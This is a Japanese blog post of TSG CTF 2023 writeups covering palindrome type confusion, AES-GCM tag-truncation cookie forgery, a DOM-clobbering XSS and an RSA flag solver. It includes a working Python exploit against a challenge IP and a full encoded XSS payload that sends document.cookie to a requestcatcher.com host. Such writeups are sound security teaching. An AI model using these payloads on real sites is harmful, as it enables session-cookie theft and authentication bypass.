はまやんはまやんはまやん

hamayanhamayan's blog

TSG CTF 2023 Writeups

[web] Upside-down cake

main.mjsを読むと

app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    const error = validatePalindrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`I love you! Flag is ${flag}`);
});

{"palindrome":"[ほにゃらら]"}とすれば、変数palindromeに値を埋め込むことができ、validatePalindromeの判定が通ればフラグが得られる。

const validatePalindrome = (string) => {
    if (string.length < 1000) {
        return 'too short';
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        if (original !== reverse || typeof original !== 'string') {
            return 'not palindrome';
        }
    }

    return null;
}

このような実装になっているので、1000文字以上の回文を送ればいい。
問題を難しくしているのは、nginx.confの以下の部分である。

client_max_body_size 100;

公式ドキュメントにもあるように100文字を超えて送ると413エラーが帰ってくる。
よってnginxのフィルターをかいくぐりながらなんとか、1000文字以上を送る必要がある。

これらのヒントを元に、「非常に長い回文」をサーバーに送るのではなく、何かしらのバグを突くことによってフラグを手に入れる方法を考えましょう。
Web技術、特にJavaScriptについての知識が必要になるかもしれないので、必要に応じてMDNなどのドキュメントを参照してください。

このヒントから特殊な仕様ではなく、バグを見つけることが求められているようなので色々試してみると、求められているのはパズル力であることが分かりました。

パズル

今回のバグ、脆弱であった部分はpalindromeの型検証が十分でないことです。
よって、palindromeは想定されている文字列以外にも辞書型も入れることができます。
これで何をするかというと、まず、validatePalindromeのlengthの検証を以下のようにすり抜けることができます。

{
    "palindrome": {
        "length": 10000
    }
}

if (string.length < 1000) {を回避するためにlengthを入れ込む訳ですね。
ですが、これではnot palindromeと応答が帰ってきます。
それ以下の検証部分でpalindrome["0"]palindrome[999]を用意する必要があり、これは文字数制限を突破できません。
しかし一歩前進です。

ここからどうするかを考えたときに明らかにfor (const i of Array(string.length).keys()) {の書き方が怪しく見えてきます。
lengthが数字で無い場合にどういう挙動をするかを確認すると非常に面白い感じになっていることに気が付きます。

> "a" < 1000
false
> for (const i of Array("a").keys()) { console.log(i); }
0

"a"を入れるとループの数は少なく、かつ、最初の長さ判定をfalseで乗り切ることができています。
この時、string.length - i - 1がどういう値になるかを検証すると

> "a"-0-1
NaN

NaNということなので、string[0] == string[NaN]の判定が結局なされます。
よって、ループで使われる、0とNaNを適当に用意する形で以下のようなリクエストを投げればフラグがもらえる。

{
    "palindrome": {
        "length": "a",
        "0":"",
        "NaN":""
    }
}

[web] #DANCE

とてもシンプルなサイト。
フラグを得るにはmypage.phpでadminでログインする必要がある。

<?php
if (isset($_COOKIE["auth"])) {
    $encrypted_auth = $_COOKIE["auth"];
    $iv = base64_decode($_COOKIE["iv"]);
    $tag = base64_decode($_COOKIE["tag"]);
    $cipher = "aes-128-gcm";
    $key = base64_decode("__REDACTED__");
    $auth = openssl_decrypt($encrypted_auth, $cipher, $key, $options = 0, $iv, $tag);
    $flag = "TSGCTF{__REDACTED__}";
    if ($auth == "admin") {
        $msg = "Hello admin! Password is here.\n" . $flag . "\n";
    } else if ($auth == "guest") {
        $msg = "Hello guest! Only admin can get flag.";
    } else if ($auth == "") {
        $msg = "I know you rewrote cookies!";
    } else {
        $msg = "Hello stranger! Only admin can get flag.";
    }
} else {
    header("Location: index.php");
}
?>

このopenssl_decryptにはタグの長さを検証しないという問題(その責任は呼び出し側にあるという形で決着している?)がある。
詳しくは以下を参照するといい。
AES-GCMモード | 調査研究/ブログ | 三井物産セキュアディレクション株式会社

これは何かというとtag長の検証をしてないので、タグの末尾を削っても検証に成功してしまう。
つまり、tagがJ1edF6M%3Dであった場合、27 57 9d 17 a3ということなので、
末尾を削って27だけにした場合のJw%3D%3Dをtagとして提出しても検証が通るということである。
これの何がいいかというと
「任意の検証についてtagを0x00から0xffまで全探索すればどれかは検証が通り、256通りくらいなら総当たりとして現実的」
という部分である。

これで任意の検証を突破することができたので、後はguestの暗号化をadminに変換するだけだが、これはAES-GCMを理解していれば難しくない。
単にencoded XOR 'guest' XOR 'admin'とするとadminを暗号化したtagを取得することができる。
GCMモードの暗号化部分はCTRモードで動くので、encoded_{guest} = 'guest' XOR encrypt(疑似乱数)であり、encoded_{admin} = 'admin' XOR encrypt(疑似乱数)なので、両辺XORして

encoded_{guest} XOR encoded_{admin} = 'guest' XOR encrypt(疑似乱数) XOR 'admin' XOR encrypt(疑似乱数)
encoded_{admin} = encoded_{guest} XOR 'guest' XOR 'admin' XOR encrypt(疑似乱数) XOR encrypt(疑似乱数)
encoded_{admin} = encoded_{guest} XOR 'guest' XOR 'admin'

という感じになる。
これでadminの暗号化も正しいものが作れて、かつ、検証も1byte分総当たりすれば突破できるため、adminの認証を突破することができフラグが手に入る。
exploitコードは以下のような形(お気持ち程度の0.1s waitを入れているが…)。

import requests
import base64
import urllib.parse
import time

from Crypto.Util.strxor import *
from Crypto.Util.number import *

#BASE = 'http://localhost:8080'
BASE = 'http://34.84.176.251:8080'

s = requests.Session()
s.post(BASE + '/', data={'auth':'guest'})
auth = s.cookies.get('auth')
tag = s.cookies.get('tag')
iv = s.cookies.get('iv')

new_auth = urllib.parse.quote(base64.b64encode(strxor(strxor(base64.b64decode(urllib.parse.unquote(auth)), b'guest'), b'admin')))

for b in range(256):
    time.sleep(0.1)
    new_tag = urllib.parse.quote(base64.b64encode(long_to_bytes(b)))
    r = requests.get(BASE + '/mypage.php', cookies={'auth': new_auth, 'tag': new_tag, 'iv': iv}).text
    if 'I know you rewrote cookies!' not in r:
        print(r)
        print(new_auth)
        print(new_tag)
        print(iv)
        exit(0)

[web] Brainfxxk Challenge

XSSしてcookieを抜き取る問題。
/brainfxxkrchallenge/app/views/show.ejsの以下部分でXSSできる。

<pre><code><%- code %></code></pre>

普通になんでも入れ込むことができるが、CSPが厳しく、そのままではcookieを抜くことはできない。

app.use((req, res, next) => {
    const cssFiles = ['https://unpkg.com/sakura.css@1.4.1/css/sakura.css']
    res.setHeader('Content-Security-Policy', `style-src 'self' ${cssFiles.join(' ')} ; script-src 'self' ; object-src 'none' ; font-src 'none'`)
    next()
})

script-src 'self'になっているのでサイトの何処かでjavascriptを生成してscriptタグで読み込めばいいのだが、ちょうどそれに使えそうな/minifyというエンドポイントがある。

app.get('/minify', (req, res) => {
    const code = req.query.code ?? ''
    res.send(code.replaceAll(/[^><+\-=r\[\]]/g, ''))
})

単純に><+-=r[]しか使えない。
よって、この問題は><+-=r[]だけを使ったjavascriptコードを生成してcookieを抜く問題となる。

"r"とDOM Clobbering

jjencodeとかJSF**kとか死ぬほど調べたが、純粋にこの文字制限だけでjavascriptを構築するのは難しかった。
今回なぜrだけが使えるのかという所に発想を飛ばすと、XSS部分で任意の入力を入れることができるのでDOM Clobberingが使えそうなことに気が付く。
これはフィルタリング回避にとても使えそうではある。

最終的に作りたい形は以下のような形である。

**HTML側**
</code></pre>
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
location = "https://[yours].requestcatcher.com/" + document.cookie

だが、locationもdocumentもそのままかけないので何とかする必要があるが、ここで唯一rだけ使えることを活用する。

**HTML側**
</code></pre>
<img name=r \>
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
r.parentNode.parentNode.parentNode.location = "https://[yours].requestcatcher.com/" + r.parentNode.parentNode.parentNode.cookie

imgタグをrとして宣言して読み込めるようにしておくと、そのタグ経由でdocumentを取得することができる。
そこからlocationとcookieを参照するようにすれば、r経由で呼び出すことができるようになった。
これで何がいいのかという話だが、プロパティの呼び出しはドットだけでなく配列のようにも呼べるので、

**HTML側**
</code></pre>
<img name=r \>
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
r["parentNode"]["parentNode"]["parentNode"]["location"]="https://[yours].requestcatcher.com/"+r["parentNode"]["parentNode"]["parentNode"]["cookie"]

このように書くことができる。
この状態で制約と見比べてみると文字列以外は条件にマッチしている状態にすることができる。
r[文字列][文字列][文字列][文字列]=文字列+r[文字列][文字列][文字列][文字列]
なので、後は条件下で文字列を入れ込む方法を確立すれば全て条件を満たすようにすることができる。

これもDOM Clobberingを活用する。inputタグを使ったやり方を使ってみよう。
<input id="rrrrrrr" value="parentNode">のように書くと、rrrrrrr["value"]がparentNodeのようになってくれる。

**HTML側**
</code></pre>
<img name=r \>
<input id="rrrrrrr" value="parentNode">
<input id="rrrrrrrr" value="location">
<input id="rrrrrrrrr" value="https://[yours].requestcatcher.com/test?">
<input id="rrrrrrrrrr" value="cookie">
<script src="http://server:37291/minify?code=ほにゃらら"></script>
<pre><code>

**js側**
r[rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrrr["value"]]=rrrrrrrrr["value"]+r[rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrr["value"]][rrrrrrrrrr["value"]]

これで後は何とかして"value"を作り出すことができれば、ゴール!
valueもDOM Clobberingで持ってくる。以下のように1文字ずつ持ってこれるように用意する。

<a href="vid:" id="rr"></a>
<a href="aid:" id="rrr"></a>
<a href="lid:" id="rrrr"></a>
<a href="uid:" id="rrrrr"></a>
<a href="eid:" id="rrrrrr"></a>

これで色々実験して先頭だけ持ってこれるようにする。

> rr
<a href=​"vid:​" id=​"rr">​</a>​
> rr+[]
'vid:'
> [rr+[]]
['vid:']
> +[]
0
> [rr+[]][0]
'vid:'
> [rr+[]][+[]]
'vid:'
> [rr+[]][+[]][0]
'v'
> [rr+[]][+[]][+[]]
'v'

+[]が0になることを利用したり、色々頑張ると[rr+[]][+[]][+[]]で先頭だけを取得できvが得られる。
あとは同様にそれぞれ先頭を持ってきて+を結合してやるとvalue
[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]
と表現することができる。

これで全部の準備が整ったので、最終的なjavascriptコードは以下のようになる。

r[rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]]=rrrrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]+r[rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]][rrrrrrrrrr[[rr+[]][+[]][+[]]+[rrr+[]][+[]][+[]]+[rrrr+[]][+[]][+[]]+[rrrrr+[]][+[]][+[]]+[rrrrrr+[]][+[]][+[]]]]

これをscriptタグで持ってくるようにして、以下のcodeを報告してやればフラグが得られる。

</code></pre>

<img name=r \>
<a href="vid:" id="rr"></a>
<a href="aid:" id="rrr"></a>
<a href="lid:" id="rrrr"></a>
<a href="uid:" id="rrrrr"></a>
<a href="eid:" id="rrrrrr"></a>

<input id="rrrrrrr" value="parentNode">
<input id="rrrrrrrr" value="location">
<input id="rrrrrrrrr" value="https://[yours].requestcatcher.com/test?">
<input id="rrrrrrrrrr" value="cookie">

<script src="http://server:37291/minify?code=r%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%3Drrrrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%2Br%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrrrrrrrrr%5B%5Brr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%2B%5Brrrrrr%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D"></script>

<pre><code>

[crypto] Unique Flag

順番に計算して次のものを特定していく。
以下のようなコードを使いながら候補が複数でたら寄りユニークな方を選んでいくとフラグが手に入る。

from Crypto.Util.number import getPrime
import string

N = [output.txtから持ってくる]
e = 65537
clues = {[output.txtから持ってくる]}

def calc(a, b):
    x = pow(a.encode()[0], e, N)
    y = pow(b.encode()[0], e, N)
    return x * y % N

flag = "TSGCTF{OK,IsTHi5A_un1qUe"
for i in range(len(flag)-1):
    clues.discard(calc(flag[i], flag[i + 1]))
for i in range(len(flag)-1, 32):
    cand = []
    for nxt in string.printable:
        if calc(flag[i], nxt) in clues:
            cand.append(nxt)
    if len(cand) == 1:
        flag += cand[0]
        clues.discard(calc(flag[i], cand[0]))
        print(f'{flag}')
    elif 1 < len(cand):
        print('Choose one')
        for nxt in cand:
            print(f'{flag}{nxt}')